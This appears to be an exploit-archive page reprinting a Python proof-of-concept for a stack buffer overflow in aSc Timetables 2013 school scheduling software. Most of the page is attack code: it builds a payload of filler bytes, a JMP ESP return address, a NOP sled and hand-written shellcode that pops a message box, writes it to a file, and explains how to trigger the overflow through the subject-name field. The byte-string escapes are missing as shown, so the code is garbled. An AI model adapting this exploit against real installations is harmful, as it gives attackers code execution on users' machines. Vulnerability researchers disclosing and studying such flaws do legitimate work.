[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : aSc Timetables 2013 - Stack Buffer Overflow Vulnerability
# Published : 2013-06-24
# Author :
# Previous Title : Static HTTP Server 1.0 - SEH Overflow
# Next Title : Easy LAN Folder Share Version 3.2.0.100 - Buffer Overflow Exploit (SEH)


#!/usr/bin/python
# Title 			: ASC Timetables 2013 - Stack Buffer Overflow Vulnerability
# Researcher 		: Souhail Hammou (Dark-Puzzle)
# Research Team		: http://itsecurity.ma
# Facebook			: http://www.facebook.com/dark.puzzle.sec
# Date				: 22/06/2013
# Download Website 	: www.asctimetables.com/download_en.html
##########################################################
# Software Details :
# ASC timetables is a school scheduling software used widely by many schools around the globe to generate unique timetables for students.
# it has the features to add school subjects , teachers and manipulate time.
# Vulnerability details :
# The buffer overflow vulnerability resides in the Add subject functionality, and it's triggered when the user will submit a large string when specifying the 
#school subject name. To trigger the vulnerability go to the main menu , select subjects , click new then generate a string with the code below and the 
#software will execute the shellcode which will popup a MessageBox.
# Picture : http://oi40.tinypic.com/30rwc2q.jpg

garbage = "D"*512
eip = "xCBxC0x8Fx75" #JMP ESP from kernel32.dll
nopsled = "x90"*177
shellcode = "xB8x23x58xA7x11x2Dx11x11x11x11x6Ax14x50x50x33xC0x50xB8x98x34x69x11x2Dx11x11x11x11xFFxE0"
# I have written this shellcode which will popup a "Yes/No" MessageBox with Title and Message : iteDump
#MOV EAX,11A75823
#SUB EAX,11111111
#PUSH 14
#PUSH EAX
#PUSH EAX
#XOR EAX,EAX
#PUSH EAX
#MOV EAX,11693498
#SUB EAX,11111111
#JMP EAX
ToInsert = open("file.txt", "w")
ToInsert.write(garbage+eip+nopsled+shellcode)
ToInsert.close()